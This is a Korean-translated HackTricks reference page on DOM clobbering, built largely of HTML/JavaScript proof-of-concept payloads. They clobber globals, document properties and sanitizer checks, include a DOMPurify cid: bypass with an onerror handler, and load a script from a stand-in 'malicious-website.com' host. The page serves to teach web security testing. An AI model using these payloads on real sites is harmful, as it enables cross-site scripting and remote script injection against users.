Dom Clobbering
Reading time: 8 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 사항
HTML 태그에서 id
및 name
속성을 사용하여 JS 컨텍스트 내에서 전역 변수를 생성할 수 있습니다.
<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>
오직 특정 요소만이 name 속성을 사용하여 전역 변수를 클로버링할 수 있습니다. 이들은: embed
, form
, iframe
, image
, img
및 object
입니다.
흥미롭게도, form 요소를 사용하여 변수를 클로버링할 때, 요소 자체의 toString
값은 다음과 같습니다: [object HTMLFormElement]
그러나 anchor를 사용할 경우 toString
값은 앵커의 **href
**가 됩니다. 따라서, a
태그를 사용하여 클로버링하면, 문자열로 처리될 때 값을 제어할 수 있습니다:
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>
Arrays & Attributes
배열과 객체 속성을 덮어쓸 수도 있습니다:
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>
3번째 속성(예: x.y.z)을 덮어쓰려면 **form
**을 사용해야 합니다:
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>
속성을 더 많이 클로버링하는 것은 더 복잡하지만 여전히 가능합니다, iframe을 사용하여:
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>
warning
style 태그는 iframe이 렌더링할 충분한 시간을 주기 위해 사용됩니다. 이것이 없으면 undefined 경고가 표시됩니다.
더 깊은 속성을 클로버링하려면, html 인코딩이 있는 iframe을 다음과 같이 사용할 수 있습니다:
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>
필터 우회
필터가 document.getElementByID('x').attributes
와 같은 것을 사용하여 노드의 속성을 루프하고 있다면, .attributes
속성을 클로버하여 필터를 중단시킬 수 있습니다. tagName
, nodeName
또는 **parentNode
**와 같은 다른 DOM 속성들도 클로버할 수 있습니다.
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>
window.someObject
덮어쓰기
JavaScript에서는 다음과 같은 경우를 자주 찾습니다:
var someObject = window.someObject || {}
페이지에서 HTML을 조작하면 someObject
를 DOM 노드로 덮어쓸 수 있어 보안 취약점이 발생할 수 있습니다. 예를 들어, 악성 스크립트를 가리키는 앵커 요소로 someObject
를 교체할 수 있습니다:
<a id=someObject href=//malicious-website.com/malicious.js></a>
취약한 코드 예시:
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>
이 방법은 스크립트 소스를 이용하여 원치 않는 코드를 실행합니다.
트릭: **DOMPurify
**는 cid:
프로토콜을 사용하도록 허용하며, 이는 이중 따옴표를 URL 인코딩하지 않습니다. 이는 런타임에 디코딩될 인코딩된 이중 따옴표를 주입할 수 있음을 의미합니다. 따라서 **<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
**와 같은 것을 주입하면 HTML 인코딩된 "
가 런타임에 디코딩되어 속성 값에서 탈출하여 onerror
이벤트를 생성합니다.
또 다른 기술은 form
요소를 사용합니다. 특정 클라이언트 측 라이브러리는 새로 생성된 폼 요소의 속성을 검사하여 이를 정리합니다. 그러나 폼 안에 id=attributes
가 있는 input
을 추가함으로써 속성 속성을 효과적으로 덮어쓰게 되어, 세정기가 실제 속성에 접근하지 못하게 합니다.
이러한 유형의 클로버링의 예를 이 CTF 작성물에서 찾을 수 있습니다.
문서 객체 클로버링
문서에 따르면 DOM 클로버링을 사용하여 문서 객체의 속성을 덮어쓸 수 있습니다:
Document 인터페이스는 이름이 있는 속성을 지원합니다. Document 객체의 지원되는 속성 이름은 다음과 같으며, 트리 순서에 따라 기여한 요소에 따라 정렬되며, 나중의 중복은 무시하고, 동일한 요소가 두 가지를 기여할 때는 id 속성의 값이 이름 속성의 값보다 먼저 옵니다:
- 비어 있지 않은 이름 콘텐츠 속성을 가진 모든 노출된 embed, form, iframe, img, 및 노출된 object 요소의 이름 콘텐츠 속성 값은 문서가 루트인 문서 트리에 있어야 합니다;
- 비어 있지 않은 id 콘텐츠 속성을 가진 모든 노출된 object 요소의 id 콘텐츠 속성 값은 문서가 루트인 문서 트리에 있어야 합니다;
- 비어 있지 않은 id 콘텐츠 속성과 비어 있지 않은 이름 콘텐츠 속성을 모두 가진 모든 img 요소의 id 콘텐츠 속성 값은 문서가 루트인 문서 트리에 있어야 합니다.
이 기술을 사용하면 일반적으로 사용되는 값인 document.cookie
, document.body
, document.children
및 document.querySelector
와 같은 문서 인터페이스의 메서드를 덮어쓸 수 있습니다.
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
요소가 클로버링된 후 작성하기
document.getElementById()
및 document.querySelector()
호출의 결과는 동일한 id 속성을 가진 <html>
또는 <body>
태그를 주입함으로써 변경될 수 있습니다. 다음은 이를 수행하는 방법입니다:
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>
또한, 이러한 주입된 HTML/body 태그를 숨기기 위해 스타일을 사용함으로써 innerText
의 다른 텍스트로 인한 간섭을 방지할 수 있어 공격의 효율성을 높일 수 있습니다:
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
SVG에 대한 조사 결과 <body>
태그도 효과적으로 활용될 수 있음을 알 수 있습니다:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
HTML 태그가 Chrome 및 Firefox와 같은 브라우저의 SVG 내에서 작동하려면 <foreignobject>
태그가 필요합니다:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
Clobbering Forms
양식 안에 새로운 항목을 추가하는 것이 가능합니다 단지 일부 태그 안에 form
속성을 지정함으로써. 이를 사용하여 양식 안에 새로운 값을 추가하고 심지어 전송할 새로운 버튼을 추가할 수 있습니다 (클릭재킹 또는 일부 .click()
JS 코드를 악용하여):
<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
- 더 많은 폼 속성은 버튼 확인하기.
참고문헌
- https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering
- https://portswigger.net/web-security/dom-based/dom-clobbering
- Heyes, Gareth. 해커를 위한 JavaScript: 해커처럼 생각하는 법 배우기.
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.